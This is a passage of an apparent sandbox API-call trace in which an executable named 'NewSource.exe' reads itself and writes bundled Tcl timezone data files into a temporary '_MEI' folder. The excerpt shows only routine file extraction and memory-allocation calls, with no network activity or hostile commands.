(HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.303] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb4, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb4, lpOverlapped=0x0) returned 1 [0042.304] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.304] CloseHandle (hObject=0x10c) returned 1 [0042.304] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.304] htonl (hostlong=0x30000000) returned 0x30 [0042.304] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.304] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.304] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.304] GetFileType (hFile=0x10c) returned 0x1 [0042.304] htonl (hostlong=0x8de45b00) returned 0x5be48d [0042.304] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x60948d, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.304] htonl (hostlong=0x53070000) returned 0x753 [0042.304] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x753) returned 0x55e278 [0042.304] htonl (hostlong=0x53070000) returned 0x753 [0042.304] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.304] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.304] htonl (hostlong=0xcb220000) returned 0x22cb [0042.305] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x22cb) returned 0x561090 [0042.305] htonl (hostlong=0x53070000) returned 0x753 [0042.305] htonl (hostlong=0xcb220000) returned 0x22cb [0042.305] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563368 [0042.305] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563368 | out: hHeap=0x530000) returned 1 [0042.305] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0042.305] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.305] CloseHandle (hObject=0x10c) returned 1 [0042.305] GetLastError () returned 0x0 [0042.305] SetLastError (dwErrCode=0x0) [0042.305] GetLastError () returned 0x0 [0042.305] SetLastError (dwErrCode=0x0) [0042.305] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.305] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.305] GetFileType (hFile=0x10c) returned 0x1 [0042.305] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.305] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.305] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.305] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.305] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.305] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.305] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.305] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.305] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.306] CloseHandle (hObject=0x10c) returned 1 [0042.306] GetLastError () returned 0x0 [0042.306] SetLastError (dwErrCode=0x0) [0042.306] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.306] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.306] GetFileType (hFile=0x10c) returned 0x1 [0042.306] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.306] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.306] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.306] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.306] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.306] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.306] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.306] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.306] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.306] CloseHandle (hObject=0x10c) returned 1 [0042.306] GetLastError () returned 0x0 [0042.306] SetLastError (dwErrCode=0x0) [0042.306] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.306] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.306] GetFileType (hFile=0x10c) returned 0x1 [0042.306] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.306] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.306] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.306] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.306] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.307] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.307] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.307] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.307] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.307] CloseHandle (hObject=0x10c) returned 1 [0042.307] GetLastError () returned 0x0 [0042.307] SetLastError (dwErrCode=0x0) [0042.307] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Brussels") returned 72 [0042.307] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Brussels" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\brussels"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.307] GetLastError () returned 0x2 [0042.307] SetLastError (dwErrCode=0x2) [0042.307] GetLastError () returned 0x2 [0042.307] SetLastError (dwErrCode=0x2) [0042.307] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Brussels", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Brussels", lpFilePart=0x0) returned 0x47 [0042.307] GetLastError () returned 0x2 [0042.307] SetLastError (dwErrCode=0x2) [0042.307] GetLastError () returned 0x2 [0042.307] SetLastError (dwErrCode=0x2) [0042.307] GetLastError () returned 0x2 [0042.307] SetLastError (dwErrCode=0x2) [0042.307] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Brussels") returned 72 [0042.307] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.307] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Brussels" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\brussels"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.308] GetFileType (hFile=0x10c) returned 0x1 [0042.308] htonl (hostlong=0xcb220000) returned 0x22cb [0042.308] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0042.309] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.309] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x2cb, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x2cb, lpOverlapped=0x0) returned 1 [0042.309] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.309] CloseHandle (hObject=0x10c) returned 1 [0042.309] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.310] htonl (hostlong=0x30000000) returned 0x30 [0042.310] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.310] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.310] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.311] GetFileType (hFile=0x10c) returned 0x1 [0042.311] htonl (hostlong=0xe0eb5b00) returned 0x5bebe0 [0042.311] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x609be0, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.311] htonl (hostlong=0x25060000) returned 0x625 [0042.311] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x625) returned 0x550600 [0042.311] htonl (hostlong=0x25060000) returned 0x625 [0042.311] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.311] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.311] htonl (hostlong=0x1a1e0000) returned 0x1e1a [0042.311] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1e1a) returned 0x561090 [0042.312] htonl (hostlong=0x25060000) returned 0x625 [0042.312] htonl (hostlong=0x1a1e0000) returned 0x1e1a [0042.312] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562eb8 [0042.312] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562eb8 | out: hHeap=0x530000) returned 1 [0042.312] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.312] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.312] CloseHandle (hObject=0x10c) returned 1 [0042.312] GetLastError () returned 0x0 [0042.312] SetLastError (dwErrCode=0x0) [0042.312] GetLastError () returned 0x0 [0042.312] SetLastError (dwErrCode=0x0) [0042.312] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.312] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.312] GetFileType (hFile=0x10c) returned 0x1 [0042.312] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.312] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.312] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.312] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.312] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.312] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.312] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.312] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.313] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.313] CloseHandle (hObject=0x10c) returned 1 [0042.313] GetLastError () returned 0x0 [0042.313] SetLastError (dwErrCode=0x0) [0042.313] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.313] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.313] GetFileType (hFile=0x10c) returned 0x1 [0042.313] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.313] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.313] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.313] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.313] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.313] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.313] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.313] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.313] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.313] CloseHandle (hObject=0x10c) returned 1 [0042.313] GetLastError () returned 0x0 [0042.313] SetLastError (dwErrCode=0x0) [0042.313] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.313] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.313] GetFileType (hFile=0x10c) returned 0x1 [0042.313] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.313] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.314] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.314] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.314] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.314] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.314] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.314] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.314] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.314] CloseHandle (hObject=0x10c) returned 1 [0042.314] GetLastError () returned 0x0 [0042.314] SetLastError (dwErrCode=0x0) [0042.314] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Bucharest") returned 73 [0042.314] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Bucharest" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\bucharest"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.314] GetLastError () returned 0x2 [0042.314] SetLastError (dwErrCode=0x2) [0042.314] GetLastError () returned 0x2 [0042.314] SetLastError (dwErrCode=0x2) [0042.314] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Bucharest", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Bucharest", lpFilePart=0x0) returned 0x48 [0042.314] GetLastError () returned 0x2 [0042.314] SetLastError (dwErrCode=0x2) [0042.314] GetLastError () returned 0x2 [0042.314] SetLastError (dwErrCode=0x2) [0042.314] GetLastError () returned 0x2 [0042.314] SetLastError (dwErrCode=0x2) [0042.314] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Bucharest") returned 73 [0042.314] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.314] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Bucharest" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\bucharest"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.315] GetFileType (hFile=0x10c) returned 0x1 [0042.315] htonl (hostlong=0x1a1e0000) returned 0x1e1a [0042.315] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0042.316] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.316] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xe1a, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xe1a, lpOverlapped=0x0) returned 1 [0042.316] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.316] CloseHandle (hObject=0x10c) returned 1 [0042.317] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.317] htonl (hostlong=0x30000000) returned 0x30 [0042.317] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: 